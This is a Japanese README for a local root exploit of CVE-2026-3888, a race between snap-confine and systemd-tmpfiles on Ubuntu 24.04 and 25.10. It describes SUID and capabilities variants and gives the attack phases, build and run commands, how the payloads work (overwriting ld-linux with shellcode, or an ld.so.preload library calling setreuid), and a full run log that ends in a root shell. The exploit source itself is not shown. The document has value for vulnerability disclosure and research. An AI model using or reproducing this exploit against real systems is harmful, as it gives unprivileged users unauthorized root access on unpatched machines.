
# CVE-2026-3888 のローカル権限昇格エクスプロイト Ubuntu上のsnap-confineとsystemd-tmpfilesを標的としたCVE-2026-3888のローカル権限昇格エクスプロイトで、rootアクセスを達成するためのSUIDおよびケーパビリティのバリアントを提供します。
非特権ユーザーからUbuntu Desktop 24.04+上の完全なrootへのローカル権限昇格。snap-confineとsystemd-tmpfiles間のTOCTOUレースコンディションを悪用します。SUIDとCapabilitiesの2つのバリアントが提供されています。
CVSS: 7.8 (高) | アドバイザリ: Qualys | パッチ: snapd 2.74.2、2026年3月17日
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin など) |
| ターゲットsnap | firefox | snap-store |
| 模倣ターゲット | /usr/lib/x86_64-linux-gnu (~285エントリ) | /var/lib (~17エントリ) |
| エクスプロイトベクター | シェルコードでld-linux-x86-64.so.2を上書き | user-fstab + ld.so.preloadを制御 |
| ペイロード形式 | 生のsyscallを含む静的ELF | __attribute__((constructor))を持つ共有ライブラリ |
| rootトリガー | SUID snap-confineが改ざんされた動的リンカをロード | /tmp/.snap内のSUID suが.soをプリロード |
| cgroup要件 | 任意のsnap.*名 | 完全一致: snap.snap-store.hook.configure |
.snapクリーンアップ | 30日 | 10日 |
| サンドボックス脱出 | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfilesが/tmp配下の古い.snap模倣ディレクトリを削除(30日経過)snap-confineをシングルステップ実行し、模倣バインドマウントシーケンス中にレースを確実に勝利ld-linux-x86-64.so.2がsetreuid(0,0) + execveを呼び出すシェルコードに置き換えられるsnap-confineを実行すると、root権限でシェルコードがトリガーされる/var/snap/firefox/common/に配置され、サンドボックスから脱出する| ファイル | 説明 |
|---|---|
exploit_suid.c | 統合シングルバイナリエクスプロイト — 全7フェーズを1つのforkベースオーケストレータで実行 |
librootshell_suid.c | ペイロード — 生のx86_64 syscallを介してld-linux-x86-64.so.2を置き換える最小ELF |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
両方ともx86_64 Linux用にコンパイル(またはクロスコンパイル)する必要があります。exploitは静的にリンクされているため、ライブラリ依存なしでsnapサンドボックス内で実行できます。librootshell.soは生のsyscallのみを含むため-nostdlibを使用します — libcは不要です。
./exploit <librootshell.so> [-d] [-s]
| フラグ | 説明 |
|---|---|
-d | snap-confineのデバッグ出力を表示(冗長モード) |
-s | .snapクリーンアップ待機をスキップ(rootパスワードが必要) |
# 通常実行
./exploit ./librootshell.so
# デバッグモード
./exploit ./librootshell.so -d
# 失敗後の再試行
./exploit ./librootshell.so -s
エクスプロイトはサンドボックスに入り、systemd-tmpfilesが.snapを削除するのを待ち(標準のUbuntu 25.10では最大10日、標準のUbuntu 24.04では最大30日)、その後自動的にレースを実行します。成功すると、rootシェルにドロップします。
snap-confineがSUID-rootであること(-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timerがアクティブであることbusyboxが利用可能であること(/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfilesが/tmp配下の古い.snap模倣ディレクトリを削除snap-confineをシングルステップ実行し、/var/lib模倣バインドマウントシーケンス中にレースを確実に勝利/var/lib/snapd/mount/snap.snap-store.user-fstabの制御を獲得user-fstabエントリが改ざんされた/etc(ld.so.preload付き)をサンドボックス内にバインドマウント/tmp/.snapからSUID-rootのsuバイナリを実行すると、setreuid(0,0) + execve("/tmp/sh")を呼び出すlibrootshell.soがプリロードされる/var/snap/snap-store/common/に配置され、サンドボックスから脱出する| ファイル | 説明 |
|---|---|
exploit_caps.c | 統合シングルバイナリエクスプロイト — 全7フェーズを1つのforkベースオーケストレータで実行 |
librootshell_caps.c | ペイロード — setreuid(0,0) + execveを呼び出すコンストラクタを持つ共有ライブラリ |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
両方ともx86_64 Linux用にコンパイル(またはクロスコンパイル)する必要があります。exploitは静的にリンクされているため、ライブラリ依存なしでsnapサンドボックス内で実行できます。librootshell.soは-nostartfilesと__attribute__((constructor))を使用します — ターゲットバイナリのmain()の前にld.so.preloadを介してロードされます。
./exploit <librootshell.so> [-d] [-s]
| フラグ | 説明 |
|---|---|
-d | snap-confineのデバッグ出力を表示(冗長モード) |
-s | .snapクリーンアップ待機をスキップ(.snapが既に存在しない場合に使用) |
# 通常実行
./exploit ./librootshell.so
# デバッグモード
./exploit ./librootshell.so -d
# 待機をスキップ(再試行)
./exploit ./librootshell.so -s